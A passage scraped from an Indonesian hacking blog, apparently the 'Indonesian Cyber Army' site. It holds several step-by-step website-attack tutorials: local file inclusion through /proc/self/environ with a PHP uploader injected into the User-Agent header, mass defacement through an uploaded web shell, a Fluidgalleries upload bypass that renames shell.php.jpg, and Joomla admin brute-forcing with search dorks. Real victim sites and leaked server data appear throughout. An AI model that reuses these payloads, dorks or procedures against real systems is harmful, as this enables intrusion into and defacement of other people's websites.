portugal jadi , mapa<br />4.masu''kan dork km ke google : inurl:.php?(*)=mapa.php << ingat Harus ada .php<br />5.Success !! ^_^<br /><br /><br />Oke Bahan Udah Lengkap + Trick Dork Jadul by ./me , tinggal Tutorialnya aja ya !! Ok Lest Go !!<br />1. kita nemuin website yang vuln LFI.<br />contoh : http://site.com/main.php?file=news.php<br /><br />2.list target : http://www.ibriec.org/menara_perkebunan/index.php?open=../../../../../../../../../../proc/self/environ<br /><br />3.coba kita ganti page_05.php pada list target diatas :<br />  ../../../../../../../../../proc/self/environ<br /><br />4. Jika anda mendapatkan yang seperti ini :<br /><br /> SERVER_SIGNATURE=<br />Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_jk/1.2.35 Server at baleman.co.id Port 80<br />UNIQUE_ID=Ua6ugso68-wAAF8wsfgAAAAKHTTP_USER_AGENT=Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0SERVER_PORT=80HTTP_HOST=baleman.co.idREDIRECT_HANDLER=application/x-httpd-php5DOCUMENT_ROOT=/home/s2400x14/public_htmlSCRIPT_FILENAME=/usr/local/cpanel/cgi-sys/php5REQUEST_URI=/index_1.php?hal=../../../../../../../../../../../proc/self/environSCRIPT_NAME=/cgi-sys/php5HTTP_CONNECTION=keep-alivePATH_INFO=/index_1.phpREMOTE_PORT=18429PATH=/usr/local/bin:/usr/bin:/binPWD=/usr/local/cpanel/cgi-sysSERVER_ADMIN=webmaster@baleman.co.idREDIRECT_STATUS=200REDIRECT_QUERY_STRING=hal=../../../../../../../../../../../proc/self/environHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.5PATH_TRANSLATED=/home/s2400x14/public_html/index_1.phpHTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8REMOTE_ADDR=180.253.80.169SHLVL=0SERVER_NAME=baleman.co.idSERVER_SOFTWARE=Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_jk/1.2.35QUERY_STRING=hal=../../../../../../../../../../../proc/self/environSERVER_ADDR=202.58.243.17GATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1HTTP_ACCEPT_ENCODING=gzip, deflateREDIRECT_URL=/index_1.phpREQUEST_METHOD=GETHTTP_COOKIE=__utma=247167511.668754680.1370401967.1370401967.1370401967.1; __utmb=247167511.1.10.1370401967; __utmc=247167511; __utmz=247167511.1370401967.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)<br />Home | Jad<br /><br />atau keluar : Document ROOT dan ada User Agent Itu Web rentan LFI ,, OK Ternyata proc/self/environ dapat kita akses ! ^_^ Lest Go !<br /><br />5.Sekarang mari kita injeksi dengan kode dengan meracuni http-headernya/User Agent , Tools yang Tadi (Tamper Data Udah Didownload kan ?? ^_^) Ok Kalau Sudah , Lanjut !!<br /><br />6.buka tamper data di firefox lalu Buka URL Tadi Yang Rentan LFI , Klik Start Tamper lalu Reload Halaman Site !!<br /><br />7.Muncul Kotak Box , jangan dicentang continue tampering .. , klik TAMPER<br /><br />8.Pada Kolom/Kotak User agent , Hapus Text Tersebut ganti dengan code berikut :<br /><br />  <textarea><?php @copy($_FILES['file']['tmp_name'],$_FILES['file']['name']); ?><p>Mr.Mx4rz Was Here !!</p><br> <form action="" method="post" enctype="multipart/form-data">Filename: <input type="file" name="file" /><input type="submit" value="Submit" />

*shell akan keluar di : localhost/[path]/namashell.php
9. Klik Oke .. , Stop Tamper !! Tamper data jangan di close ^_^

10.Muncul Sebuah File Upload Di Halaman Site Yang Rentan LFI tersebut ^_^
Nih ScreenShotnya : https://fbcdn-sphotos-e-a.akamaihd.net/hphotos-ak-ash4/424631_391238194318689_1778808128_n.jpg

11.Selanjutnya Upload Shell / Script Deface kamu ^_^

12.Success , Tinggal Diacak acak dalemnya :D

^_^ Just Hacking And Have Fun ^_^

Greetz : UMCA Offical Member , Indonesian Cyber Army , Jember hacker Team , 3xp1r3 Cyber Army , and www.google.com !!

NB : Copy Paste Sertakan Sumber Ya ^_^ !! Hargai Seorang Penulis , ^_^

Special Thanks to : Mr.Mx4rz atas kirimannya ^_^

Content Created By Bimo Septiawan

Web Hacking ( Local File Inclusion )

Assalamualaikum ^_^ Selamat datang di blog official Indonesian Cyber Army ~ Pada kesempatan kali ini saya akan membagikan tutorial yang diki...

Baca selengkapnya »

01.13

Mass Deface Website

Assaamualaikum sobat IDCA, mumpung ane udah selesai UKK neh mau share trik jadul sih hahaha, tapi daripada ngak share :D<br /><br />Oke langsung aja, ini bukan mass deface server loh :P tapi cuma mass deface website yang ada di direktori aja :D<br /><br />Oke langsung aja ikutin langkah berikut ini :<br /><br />Bahan :<br /><br /><ul><li>Mass Deface ( udah ada di shell X Inject / IDCA / etc )</li><li>Website yang direktorinya ada domain/web lain.</li></ul><div>1. Perhatikan gambar dibawah ini, jika terdapat alamat website lain di dalam gambar yang saya lingkarin itu tandanya bisa di mass deface ^0^</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhFrOqfaU-Jr6BkOILW7v-iRW9wvrmtCe5ppPcRXpnio7yLOCeuWbDpPtL-QXEJ6iGVIJCTRmkIEm4xFVClCykRTAP6PcNmJCXcnO2tUkazH5XtgHk4ca3lZrsdf-YoBbVhgjW4TIDsu1Z/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhFrOqfaU-Jr6BkOILW7v-iRW9wvrmtCe5ppPcRXpnio7yLOCeuWbDpPtL-QXEJ6iGVIJCTRmkIEm4xFVClCykRTAP6PcNmJCXcnO2tUkazH5XtgHk4ca3lZrsdf-YoBbVhgjW4TIDsu1Z/s320/Screenshot.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">2. Setelah itu pergi ke direktori dimana terdapat website didalamnya </div><div class="separator" style="clear: both; text-align: left;"></div><ul><li>contoh : <span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-family: Tahoma, Verdana, Arial; font-size: 11px;"><a href="http://www.tanitascales.co.nz/wp-content/uploads/products_img/bim.php?y=/" style="-webkit-transition-delay: initial; -webkit-transition-duration: 0.4s; -webkit-transition-property: all; -webkit-transition-timing-function: ease-in-out; font-family: Tahoma, Verdana, Arial; font-size: 11px;"> <span class="Apple-style-span" style="color: black;">/ </span></a><span class="Apple-style-span" style="color: black;"><a href="http://www.tanitascales.co.nz/wp-content/uploads/products_img/bim.php?y=/home/" style="-webkit-transition-delay: initial; -webkit-transition-duration: 0.4s; -webkit-transition-property: all; -webkit-transition-timing-function: ease-in-out; font-family: Tahoma, Verdana, Arial; font-size: 11px;">home / </a><a href="http://www.tanitascales.co.nz/wp-content/uploads/products_img/bim.php?y=/home/awbtrad/" style="-webkit-transition-delay: initial; -webkit-transition-duration: 0.4s; -webkit-transition-property: all; -webkit-transition-timing-function: ease-in-out; font-family: Tahoma, Verdana, Arial; font-size: 11px;">awbtrad / </a></span><a href="http://www.tanitascales.co.nz/wp-content/uploads/products_img/bim.php?y=/home/awbtrad/public_html/" style="-webkit-transition-delay: initial; -webkit-transition-duration: 0.4s; -webkit-transition-property: all; -webkit-transition-timing-function: ease-in-out; font-family: Tahoma, Verdana, Arial; font-size: 11px;"><span class="Apple-style-span" style="color: black;">public_html /</span> </a>www.maho.com , jadi /home/awbtrad/public_html</span></li></ul><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_VhmDVwwIeCykZ_O_eKsG86G-r6gpfcTtNIsE6vt8i933D6SnGGP0sjnHpkjAEtKSNR7Asc2HgqAM6X_n2fthqmZ3r9VSgbB4i0-YUvJE7vQslP4oTQAglYkJAwrI5AcumahaunzlN1EW/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_VhmDVwwIeCykZ_O_eKsG86G-r6gpfcTtNIsE6vt8i933D6SnGGP0sjnHpkjAEtKSNR7Asc2HgqAM6X_n2fthqmZ3r9VSgbB4i0-YUvJE7vQslP4oTQAglYkJAwrI5AcumahaunzlN1EW/s400/Screenshot-1.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">3. Tuh banyak kan websitenya ? sekarang kita klik " <span class="Apple-style-span" style="color: red;">Mass Deface</span> "</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsNU1LHimsWfbSkDacSGiOM-VI_T3fTYyW-7cZjsqz7vHk9WNJDk8-3tyNCBRjca_Xso8I8veubWRA5IflWPpZdMj9A2yfLeW8U93G0DB8bEhMo4hLrg5lq9b_DPzX8BQRV1MclvA133J5/s1600/Screenshot-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsNU1LHimsWfbSkDacSGiOM-VI_T3fTYyW-7cZjsqz7vHk9WNJDk8-3tyNCBRjca_Xso8I8veubWRA5IflWPpZdMj9A2yfLeW8U93G0DB8bEhMo4hLrg5lq9b_DPzX8BQRV1MclvA133J5/s400/Screenshot-2.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">4. Keterangan :</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Folder : udah biarin aja (kan kita udah di direktorinya)</div><div class="separator" style="clear: both; text-align: left;">File Name : nama file yang mau dibikin</div><div class="separator" style="clear: both; text-align: left;">Kolom Index Code : Isi dengan script deface kalian ^_^</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Setelah itu klik <span class="Apple-style-span" style="color: red;">HAJAR !!! </span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="" style="clear: both; text-align: left;">Dah cuma gitu aja om ^_^ tinggal submit atau show offin deh :P<br /><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqkX1heZle0RSDLFQBxGld6zsQbPf0fJKUcfR-bltTGenERBcmM9pUTUwdZVy0y94eInBhBkD_AAcSajlACkTPXX0iL70NaGm3ikYEQRJSBj3uH04mevH5i3cwGCImRGMIk6lIuO2nzauh/s1600/Screenshot-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqkX1heZle0RSDLFQBxGld6zsQbPf0fJKUcfR-bltTGenERBcmM9pUTUwdZVy0y94eInBhBkD_AAcSajlACkTPXX0iL70NaGm3ikYEQRJSBj3uH04mevH5i3cwGCImRGMIk6lIuO2nzauh/s400/Screenshot-3.png" width="400" /></a></div><div style="text-align: center;"><br /></div><div style="text-align: left;">Selamat mencoba :D<br /><br /><span class="Apple-style-span" style="color: red;">Content Created By : Bimo Septiawan</span></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div><span class="Apple-style-span" style="font-family: Tahoma, Verdana, Arial;"><span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-size: 11px;"><br /></span></span></div><br />

Mass Deface Website

Assaamualaikum sobat IDCA, mumpung ane udah selesai UKK neh mau share trik jadul sih hahaha, tapi daripada ngak share :D Oke langsung aja, i...

Baca selengkapnya »

02.51

Exploit Fluidgalleries File Upload ( Tamper Data )

Assalamualaikum sobat IDCA :D<br /><br />Udah lama neh ngak kasih tutorial baru, sebenernya sih sekarang amsih UKK ane maklum ane masih bocah ^_^ tapi boat sobat IDCA tak apalah ngak usah belajar mending bikin artikel kwkwkwkw<br /><br />oke langsung aja yah ngak usah kelamaan basa basinya takutnya jadi basi XD<br /><br />Kali ini saya akan memberikan tutorial " Deface dengan Exploit "<span class="Apple-style-span" style="color: red;">Fluidgalleries</span>" yang saya ketahui dari temen saya si <span class="Apple-style-span" style="color: red;">The Jackerz </span>&<span class="Apple-style-span" style="color: red;"> Cimy</span> .<br /><br />[+] LANGKAH LANGKAH [+]<br /><br /><br /><ul><li>Dork : <span class="Apple-style-span" style="color: red;">inurl:/fluidgalleries/photos/</span></li><li>Bahan : Shell yang sudah direname menjadi <span class="Apple-style-span" style="color: red;">shell.php</span>.<span class="Apple-style-span" style="color: blue;">jpg</span></li></ul><div>Dork kembangin sendiri OK ;)<br /><br />1. Copas dork diatas ke mesin pencarian, lalu pilih salah satu target</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMI22Us-pjspyp05zAlr24DXAsiL8TeyYSgaDVN0_s8up4XkhciWFSzS9IlhrwnoBz3stoIyv8JsyUP1QF63gG7dCUcoT9a9J9eLB1pbU1EsVmGDe2-XtuojweQ0bVQcpL8M9bEe_MXbnc/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMI22Us-pjspyp05zAlr24DXAsiL8TeyYSgaDVN0_s8up4XkhciWFSzS9IlhrwnoBz3stoIyv8JsyUP1QF63gG7dCUcoT9a9J9eLB1pbU1EsVmGDe2-XtuojweQ0bVQcpL8M9bEe_MXbnc/s320/Screenshot.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">2. Setelah memilih salah satu website gunakan exploit</div><div class="separator" style="clear: both; text-align: left;"></div><ul><li>localhost/[path]/<span class="Apple-style-span" style="color: red;">fluidgalleries/php/photo-upload.php</span></li></ul>~> Target saya : <a href="http://www.antarhanif.com/Stills/fluidgalleries/php/photo-upload.php">http://www.antarhanif.com/Stills/fluidgalleries/php/photo-upload.php</a><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Setelah itu buka tools " <span class="Apple-style-span" style="color: red;">Tamper Data</span> " kalian, lalu klik start tamper </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip9VqqGEhSzJDzwfTMcsOlqrl__5CqCmwoSS6jQ9IhvFiNuAZLkYvjioHTi-FnM506GmNLcvpfdotQ8hFEmmpu63yxOLSpl4z7ND1RJFrjwnrC0YPXgLlurvXT3r0C_rfimkzt3JE83tbp/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip9VqqGEhSzJDzwfTMcsOlqrl__5CqCmwoSS6jQ9IhvFiNuAZLkYvjioHTi-FnM506GmNLcvpfdotQ8hFEmmpu63yxOLSpl4z7ND1RJFrjwnrC0YPXgLlurvXT3r0C_rfimkzt3JE83tbp/s320/1.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">3. Setelah itu, pilih file yang akan kalian upload ( shell.php.jpg )</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgThOJrYi2ku0WcIL-ykR7Tca9QX-TYWpZMtlvlH-c86lol8NIAEO1-C4FIeDxgN3505DbqqJrxad93QFb-lwnN0inB4xHVSYQEhgTT44qBd2eBOqjIQa1zqDwjzZU2OusUZHr3cR_iHtgv/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgThOJrYi2ku0WcIL-ykR7Tca9QX-TYWpZMtlvlH-c86lol8NIAEO1-C4FIeDxgN3505DbqqJrxad93QFb-lwnN0inB4xHVSYQEhgTT44qBd2eBOqjIQa1zqDwjzZU2OusUZHr3cR_iHtgv/s320/2.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">4. Lalu klik OK, saat keluar pop up tools tamper data kalian klik " <span class="Apple-style-span" style="color: red;">tamper</span> "</div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOTbB73blAbz0TbCI1VxtUW9eypqkFNdEEH6CnsAqOP26eqiX7qOz0cbHlBj6F1VTjMh4sU0YD1uyGgvo2LJ04Uj1R2YXQDaGrVzeVujMoJMBb8-6WBP3Jhg0r83JgBE6w2CUnsjRXeraa/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOTbB73blAbz0TbCI1VxtUW9eypqkFNdEEH6CnsAqOP26eqiX7qOz0cbHlBj6F1VTjMh4sU0YD1uyGgvo2LJ04Uj1R2YXQDaGrVzeVujMoJMBb8-6WBP3Jhg0r83JgBE6w2CUnsjRXeraa/s320/3.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">5.  Setelah itu akan keluar Pop Up lagi dan perhatikan di sebelah kanan ada kotak kecil, carilah kata  <span class="Apple-style-span" style="color: red;">shell.php.jpg </span>lalu ganti dengan<span class="Apple-style-span" style="color: red;"> shell.php</span><span class="Apple-style-span" style="color: red;"> </span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyqCpAC_LPXHFIt543cn6diwuGBSrUCFPLZYBr6vA9ED1UcV3jjkjfOtWFZSaF847_hSFvjDjF6XiQ4kWLVIApaHqP8SsY7fT3pndlxvPYFuI-HX3ExwJ1lAcpKSZgdBRkFEeNfoBWp5B/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeyqCpAC_LPXHFIt543cn6diwuGBSrUCFPLZYBr6vA9ED1UcV3jjkjfOtWFZSaF847_hSFvjDjF6XiQ4kWLVIApaHqP8SsY7fT3pndlxvPYFuI-HX3ExwJ1lAcpKSZgdBRkFEeNfoBWp5B/s320/4.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">6. Jika sudah di renam lalu klik <span class="Apple-style-span" style="color: red;">OK</span>, tunggu sampai proses upload selesai jika sudah klik <span class="Apple-style-span" style="color: red;">stop tamper</span></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijU0U6dKYZh346ajsxaG1MAqMs_CskwKW8q61q-KlA19Wta7_R2swMALHmpAm1fbvkQaHKZecorHHXGSCxJB6E1zDdqyvbi5X4iwffRKe29YneeGCokswXIvARf6g_nrOdCBSAZYp0UgPq/s1600/Screenshot-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijU0U6dKYZh346ajsxaG1MAqMs_CskwKW8q61q-KlA19Wta7_R2swMALHmpAm1fbvkQaHKZecorHHXGSCxJB6E1zDdqyvbi5X4iwffRKe29YneeGCokswXIvARf6g_nrOdCBSAZYp0UgPq/s320/Screenshot-1.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><span id="goog_39959780"></span><span id="goog_39959781"></span><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="separator" style="clear: both; text-align: left;">7. Untuk melihat shell kalian terupload atau belum pergi ke :</div><div class="separator" style="clear: both; text-align: left;"></div><ul><li><a href="http://www.antarhanif.com/Stills/fluidgalleries/photos/">localhost/[path]fluidgalleries/photos/</a></li></ul>inget nanti bakalan ada embel embel di nama shell kalian, jadi setelah akses <a href="http://www.antarhanif.com/Stills/fluidgalleries/photos/">localhost/[path]/fluidgalleries/photos/</a> kalian ketik CTRL + F lalu tulis nama shll kalian ;)<br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Upload sukses ^_^</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1BbOZcEDtPWPrOsYoQWEWsErybzgnu9Y6011jQFgEGRYaQ_yu6ntGYeFn0mh3T5dKp8W34JD7Y6L8PQAm1GknmiCjlC2GRhRcT21CXdgCv8YwN0WGWF3ozbO70MakWyR9kUEyqjVgmoYM/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1BbOZcEDtPWPrOsYoQWEWsErybzgnu9Y6011jQFgEGRYaQ_yu6ntGYeFn0mh3T5dKp8W34JD7Y6L8PQAm1GknmiCjlC2GRhRcT21CXdgCv8YwN0WGWF3ozbO70MakWyR9kUEyqjVgmoYM/s320/5.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;">8. Tinggal tebas deh websitenya :D</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMtcKcABcRxZPJCP9OyhjIy2YTBx4TNC-uYONKrD1jWLHx9Q9kiL6Lwsbt0SWtHV-RA4VF4VOPzTr9P4ojTmaOr3d145kMBq9BQhXD2ABAt3lnDoOpEI_mIqR5GnEthd0n5omtVN67PQhJ/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMtcKcABcRxZPJCP9OyhjIy2YTBx4TNC-uYONKrD1jWLHx9Q9kiL6Lwsbt0SWtHV-RA4VF4VOPzTr9P4ojTmaOr3d145kMBq9BQhXD2ABAt3lnDoOpEI_mIqR5GnEthd0n5omtVN67PQhJ/s320/6.png" width="320" /></a></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">sekian tutorial yang dapat saya berikan, jika ada yang kurang jelas silahkan tanyakan di kolom komentar ^_^<br /><br />NB : Jika tidak bisa upload Php upload aja html :D</div><div class="separator" style="clear: both; text-align: left;"><br /><span class="Apple-style-span" style="color: red;">Thanks to : The Jackerz & Cimy</span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: blue;">Content Created By Bimo Septiawan</span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><span class="Apple-style-span" style="color: red;"><br /></span></div><div class="separator" style="clear: both; text-align: left;"><br /></div>

Exploit Fluidgalleries File Upload ( Tamper Data )

Assalamualaikum sobat IDCA :D Udah lama neh ngak kasih tutorial baru, sebenernya sih sekarang amsih UKK ane maklum ane masih bocah ^_^ tapi ...

Baca selengkapnya »

09.16

Joomla Bruteforce

<div dir="ltr" style="text-align: left;" trbidi="on">Assalamualaikum...<br /><br />Hai sobat, udah pada tau belum tentang bruteforce? :o kalo belum silahkan tanya karo mbah google, aku yo males arek tekok2 karo mbahku :3 hahaha... yo wes lah.. :p<br /><br />Pada postingan sebelumnya saya sudah membahas mengenai brutefoce, tapi sekarang kasusnya berbeda. kalo sebelumnya bruteforce untuk<span style="color: red;"> CMS Wordpress</span>, nah yang ini khusus untuk <span style="color: red;">CMS Joomla</span> :D<br /><br />Toolsnya sendiri ini dibuat oleh om saya, tapi ga tau omnya yang mana :( cuma tau nicknya aja :D yah siapa yg kagak kenal sama om <span style="color: red;">Hmei7</span> :D entahlah saya juga ga kenal, yang saya kenal cuma om <span style="color: red;">Hiddenymei12</span>,, wkwkwkwk :D v thanks to om <span style="color: red;">Hmei7</span>, ijin pinjem toolsnya :D (<span style="color: red;">*biar ga kena kritik :D</span> )<br /><br />Lanjuut dah, sebelum coba2 siapin dulu bahan2nya:<br /><br />1. Dork:<span style="color: red;"> inurl:"/templates/beez5/" intitle:Index of /administrator/</span><br /><br />2. Brute v.2 | <span style="color: red;"><b><a href="http://adf.ly/Q4wpH" target="_blank">Download</a></b></span><br /><br />3. Live Target : <span style="color: red;">www.live-target.pusku.com/joomla/</span><br /><br />Lanjut lagi, :)<br /><br />Yah seperti biasa, kalo mau nyari target silahkan gunakan dork, kembangin dorknya biar lebih maknyoos :D<br /><br />Nah, kalo sudah nemu banyak targetnya silahkan kumpulkan dan simpan dalam file listsite.txt, disini ane cuma satu aja, sekedar buat coba2 apakah toolsnya masih bekerja atau tidak. :p ya begitulah :p dan kalo list passwordnya mo dibanyakin juga boleh :p<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiju_Eqto3osMzqwDky76wVTqO80z2Hq2MxXPiXSUgTaVFIkjU7Xo2S4FZpGrnE_UwzyUDIWupLmVzMueSGN9WarwLiJMCye9jv7BerGBGmOZ0BkDikFqG5KdHKY97umWBoI1ARFqbJk4w/s1600/Screenshot_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiju_Eqto3osMzqwDky76wVTqO80z2Hq2MxXPiXSUgTaVFIkjU7Xo2S4FZpGrnE_UwzyUDIWupLmVzMueSGN9WarwLiJMCye9jv7BerGBGmOZ0BkDikFqG5KdHKY97umWBoI1ARFqbJk4w/s320/Screenshot_2.png" width="320" /></a></div><br />Selanjutnya kita jalankan Toolnya, lalu klik Load File, pilih file yg berisi web target sobat! lalu klik open! dan  klik Scan...<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAitZjYYA8-IjIWEncQLZilWhKOWBFL8EtynIBjrtHnUaak5YlnVl6-62HeHZ4CymcMvEoPIzopZS8V55_AbEHH9W91kkC1jmJ_96BSVEseMc-5WNEM1vJ25EbVxpmJPno-Z_528KibJw/s1600/Screenshot_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAitZjYYA8-IjIWEncQLZilWhKOWBFL8EtynIBjrtHnUaak5YlnVl6-62HeHZ4CymcMvEoPIzopZS8V55_AbEHH9W91kkC1jmJ_96BSVEseMc-5WNEM1vJ25EbVxpmJPno-Z_528KibJw/s320/Screenshot_4.png" width="320" /></a></div><br />Tinggal nunggu hasilnya  :) yang sabar yah :p<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikntxoRJ3YVQobJPqf9BJ96xgmMGR09jXn2_AjyWQ_gMkpM8qVOzovHrCHGOtWE5u8zwfrV6O8epD5dKZVNIt72g811duoAx2vbKeV5beFT7NIwXH1ejKiVB-4jnfAXUm0-zh6VTuTiAE/s1600/Screenshot_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="267" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikntxoRJ3YVQobJPqf9BJ96xgmMGR09jXn2_AjyWQ_gMkpM8qVOzovHrCHGOtWE5u8zwfrV6O8epD5dKZVNIt72g811duoAx2vbKeV5beFT7NIwXH1ejKiVB-4jnfAXUm0-zh6VTuTiAE/s320/Screenshot_7.png" width="320" /></a></div><br /><div class="separator" style="clear: both; text-align: center;"></div>Kalo udah nemu password yang cocok, tinggal login dah!<br /><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAZ0ku1kLQxspIMo1ThXg1w1PomvjW6i6oOzDyQJe3jwARVksi3QmsvEVDEvAa-2VUs2-Q9V6D6yPZfeouaQImkV3p5QY1MxuAKzlyMWpn48ptdUY2Yssf7RT0aJHd7_tIeoq1uVvBsGQ/s1600/Screenshot_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAZ0ku1kLQxspIMo1ThXg1w1PomvjW6i6oOzDyQJe3jwARVksi3QmsvEVDEvAa-2VUs2-Q9V6D6yPZfeouaQImkV3p5QY1MxuAKzlyMWpn48ptdUY2Yssf7RT0aJHd7_tIeoq1uVvBsGQ/s320/Screenshot_1.png" width="320" /></a></div><br 